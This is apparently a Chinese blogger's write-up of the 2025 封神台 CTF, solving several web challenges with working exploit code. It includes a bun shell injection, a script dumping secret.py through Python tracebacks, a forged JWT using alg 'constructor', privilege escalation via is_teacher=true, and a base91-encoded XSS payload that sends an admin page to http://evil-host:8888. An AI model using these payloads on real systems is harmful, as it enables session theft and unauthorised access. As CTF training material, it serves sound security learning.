Huajiの小窝.

封神台2025

2025/08/11
loading

封神台wp

两天的比赛,第一天好好看了,没做出来几个题,第二天出去玩拿手机看代码楞是出了俩。

技术不行,只有高校榜第四,没什么石粒,下回还要多练。

EzEcho

bun 内部shell的解析bug

先创建文件并将内容写入sh脚本里面,然后再执行sh

好像是1 被当作触发重定向的标识,没有写入,作为文本内容。

1
2
3
/readflag1<huaji

`sh<huaji`

flag{rce_eas1y_th3n_i_think}

参考https://blog.csdn.net/2401_83799022/article/details/141859729

EzPyeditor

因为 traceback.format_exc() 会把 异常栈的文件路径和代码上下文 返回给前端,如果我们把 filename 指向 secret.py,并且让 source 是空的(触发解析报错),那么 traceback 会尝试 从这个文件加载源码行内容,从而把 secret.py 里的 flag 泄露出来。

可以用 source 构造一个在指定行触发错误的假代码,让 traceback 去那一行读取内容:

1
2
3
4
{
"source": "\n\n\n\nx y",
"filename": "secret.py"
}

所以exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import re

url = "http://rc0uy94d.lab.aqlab.cn/check" # 改成你的靶场地址
target_file = "secret.py"

def read_line(line_num):
# 构造 source,让错误出现在指定行
payload = {
"source": "\n" * (line_num - 1) + "x y", # x y 触发语法错误
"filename": target_file
}
r = requests.post(url, json=payload)
data = r.json()
if not data["status"] and data["error"]:
# 从 traceback 中提取对应行
match = re.search(rf'File "{re.escape(target_file)}", line {line_num}\n\s*(.*)\n', data["error"])
if match:
return match.group(1)
return None

def dump_file(max_lines=100):
print(f"[*] Dumping {target_file} ...")
for i in range(1, max_lines+1):
line = read_line(i)
if line is None:
break
print(f"{i:03d}: {line}")

if __name__ == "__main__":
dump_file()
#flag{y0ur_1re_pyc0de_master!}

EzGrades

创建用户时,加上is_teacher=true即可

image-20250810213755826

然后再访问/grades_flag就有flag了,其中cookie是auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdHVfbnVtIjoiaHVhamkiLCJzdHVfZW1haWwiOiJodWFqaUBodWFqaS5jb20iLCJwYXNzd29yZCI6IjEiLCJpc190ZWFjaGVyIjoidHJ1ZSJ9.4bhDOIr-X_u68snoXl5pwMG-v0HGMXyi7nzAXp62GrY

flag{g00d_go0d_study_d1yd1yup}

EzGetFlag

使用 两个字段:

第一个 给 Flask 看,第二个给 PHP 看

因为php会被变量绕过,flask接收了第一个,php相当于接收的第二个

image-20250810214427451

EzJwt Wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}

const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);
const calculated_signature = createSignature(header, payload, secret);

const calculated_buf = Buffer.from(calculated_signature, 'base64');
console.log(calculated_buf)
console.log(calculated_buf.toString('base64'))
const expected_buf = Buffer.from(expected_signature, 'base64');
console.log(expected_buf)

if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error('Invalid signature');
}

return payload;
}

代码审计,发现后端在校验 JWT 时没有制定加密算法,于是想到可以手动指定 alg 标签来使得后端不使用那两种加密算法来进行验证,但是问题是 algorithms 只有两个元素,我们可以通过 JS 的特性找到一个 Object 或者 {} 对象本来就具有的函数,经过测试,我选择使用 constructor(),直接调用这个函数:

1
2
3
  > let a = {}
... a['constructor']("123","456")
String {'123'}

经过测试,发现思路可行后,就直接修改本地代码获得签名之后的 base64。

image-20250810231109801

修改后:

1
ewogICJhbGciOiAiY29uc3RydWN0b3IiLAogICJ0eXAiOiAiSldUIgp9.ewogICJpc0FkbWluIjogdHJ1ZQp9.eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9eyJpc0FkbWluIjp0cnVlfQ

使用这个 cookie 去访问网站,拿到 cookie:

image-20250810230839382

flag 为:

1
flag{jwt_i_w0nt_see_you!:(}

EzBase Wp

代码审计,发现题目会将用户上传的数据进行 base91 编码,然后显示出来,于是逆向思维,让编码后的文本为 xss payload,再 decode,就能拿到应该上传的数据。

exp

1
2
3
4
5
6
7
8
import based91

res = based91.decode("<iframe/src=\"javascript%3Afetch%28%27%2F%27%29%2Ethen%28r%3D%3Er%2Etext%28%29%29%2Ethen%28s%3D%3E%7Bnew%20Image%28%29%2Esrc%3D%60http%3A%2F%2Fevil%2Dhost%3A8888%2Fget%5Fcookie%3Fcookie%3D%24%7BencodeURIComponent%28s%2Esubstring%280%2C2000%29%29%7D%60%7D%29%2Ecatch%28console%2Eerror%29%3B\">link</iframe>abc");

print(res.hex())

print(based91.encode(res))

iframe 中的 js 使用的 url 编码,同时 iframe 和 src 之间使用 / 隔开以避免使用空格,原始 js 代码为:

1
javascript:fetch('/').then(r=>r.text()).then(s=>{new Image().src=`http://evil-host:8888/get_cookie?cookie=${encodeURIComponent(s.substring(0,2000))}`}).catch(console.error);

执行脚本:

image-20250810232114525

在页面上传:

image-20250810232225908

然后让 bot 访问这个页面:

image-20250810232258302

服务器拿到管理员首页页面源代码:

image-20250810232357014

访问 flag 所在 encoding,拿到 flag:

image-20250810232917139

CATALOG
  1. 1. 封神台wp
    1. 1.1. EzEcho
    2. 1.2. EzPyeditor
    3. 1.3. EzGrades
    4. 1.4. EzGetFlag
  2. 2. EzJwt Wp
    1. 2.1. EzBase Wp
      1. 2.1.1. exp